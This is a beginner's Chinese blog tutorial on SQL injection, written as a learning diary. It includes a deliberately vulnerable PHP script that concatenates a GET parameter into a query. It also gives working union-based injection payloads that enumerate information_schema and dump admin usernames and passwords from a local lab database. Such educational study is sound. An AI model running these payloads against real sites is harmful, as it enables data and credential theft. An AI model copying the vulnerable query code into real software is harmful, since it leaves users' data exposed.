记小白学习起来的经验—第一天

记我从小白的学习路程,希望小白也可以学习起来

我先推荐一本书,关于书籍方面我不会传统的去写,去学习《web安全攻防—渗透测试实战指南》
因为我有点基础,我会去帮大家,然后少走点坑路,同时我也是有点基础的菜鸟,写博客只是证明我成长的过程,如果我某天忘了,也总好比过网上去找,去翻

本书目录前2章是信息收集与环境搭建,这个应该就不需要了

  1. 什么是sql
    sql注入:没有对用户输入的数据进行过滤判断,导致前端用户输入的数据是可控的,并且带入数据库查询

2.需要满足sql注入的条件
分两种条件
(1)用户可以控制输入 (可控性)
(2)用户输入的数据被当做代码执行

更深入的了解

贴上例子的代码:

<?php
$con = mysqli_connect("127.0.0.1","root","root","maoshe");  //mysqli_connect("地址","账号","密码","数据库")连接服务器
if (!$con)							//判断
{
	die("连接错误: " . mysqli_connect_error());        //mysqli_connect_error()返回连接错误的信息
}

$id = $_GET['id'];
$result = mysqli_query($con,"SELECT * FROM admin where 'id'=".$id); //mysqli_query(服务器连接,"执行的语句")
$row = mysqli_fetch_array($result);                        //mysqli_fetch_array("mysqli_query()")返回mysqli_query的结果
echo $row['username'].':'.$row['password'];
echo "<br />"
?>

(注释那里我写了函数是干什么的)

这也是最简单的显错注入
①简单来说,第一条意思就是可以控制,怎么算控制呢?

这个新闻的参数是32,那我们改成30试一下

新闻页面又变成了另外一条新闻,这个就是参数可控
在这里插入图片描述
再随便输入个符号,就报错了,很简单,很明了
②拼接了用户输入的数据,直接拿上面贴出的源码来讲

$id = $_GET['id'];
$result = mysqli_query($con,"SELECT * FROM admin where 'id'=".$id)

这两条,get传参的变量id 传入了变量result里面的语句
然后这条个mysql_query()函数再上面代码注释那边也讲了,先是服务器连接,然后再执行我们要执行的语句

这就是程序执行了用户输入的数据,进行拼接,产生了新的语句

1. 简单了解下数据库结构

先讲下数据库的结构
库 -> 表 -> 列
在这里插入图片描述
这个就是库,库在mysql 5.0版本之后会有个系统自带库 叫 “information_schema”

下图这个就是表(table),我选择了maoshe这个库,然后就可以看到maoshe这个库里面有4个表
在这里插入图片描述
然后我们点击admin,就可以看到有一条数据
id是1,username是 admin,password是 hellohack
在这里插入图片描述
在mysql数据库中,注释符有# 或 – (注意有个空格 --空格)或/**/

2.实战中的sql语句

先进行判断是否存在sql注入,可以用and 1=1,and 1=2 ,单引号 ,双引号 ,and -1=-1 ,and -1=-2 等等,

为什么单(双)引号可以判断?
因为这2个符号都是成双出现,如果只出现一个的话是不是心里不平衡,然后就会生气,生气就不执行了 (!!!∑(゚Д゚ノ)ノ) 这就说明可以为我们所控制,并且把我们输入的数据拼接了语句,进行执行

  1. 然后再判断字段,也就是找我们的回显
    在这里插入图片描述

    当我们order by 4的时候,发现报错了。这是正常的,说明字段只有3个

细节来了
使用联合查询 union select

http://192.168.209.130/websafe/union.php?id=-1 union select 1,2,3

很简单,使用联合查询的时候注意,要使前面的传参出错,没有-1这个传参,所以报错,可以执行

2.发现了2和3两个回显点
我们就可以进一步的查询下是什么库
查询库名
成功的查询了库名,再查下表 databsse() 可以查看当前数据库名称
3.查表名
查表
很简单

 union select 1,2,table_name from information_schema.tables
  where table_schema='maoshe' limit 0,1#

limit 0,1意思是取第一条数据,如果要看第二条 就写 limit 1,1
在计算机里面,从0开始计算的
在这里插入图片描述
我直接这样写出来 意思很简单:
union select 字段 from information_schema.tables where table_schema=‘查询出来的库名’ 然后#号注释后面的

你可以看做是固定格式(我不知道怎么讲,可以评论问我问题)

3.查列名

①列名

 union select 1,2,column_name from information_schema.columns
  where table_schema='maoshe' and table_name='admin' limit 0,1#

②表名

 union select 1,2,table_name from information_schema.tables
  where table_schema='maoshe' limit 0,1#

你对比下,发现查列名只是在表名的基础上面简单的修改了下
图片截图出来对比下

4.查询数据
在这里插入图片描述

union select 字段 from 表
我们字段字段3个,2,3有回显
通过查列名知道了username和password
在这里插入图片描述

这时候我们就代入回显点里面
union select 1,username,password from admin
也可以一个个代入union select 1,username,3 from admin
但是要注意,代入到回显的那个地方才行

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值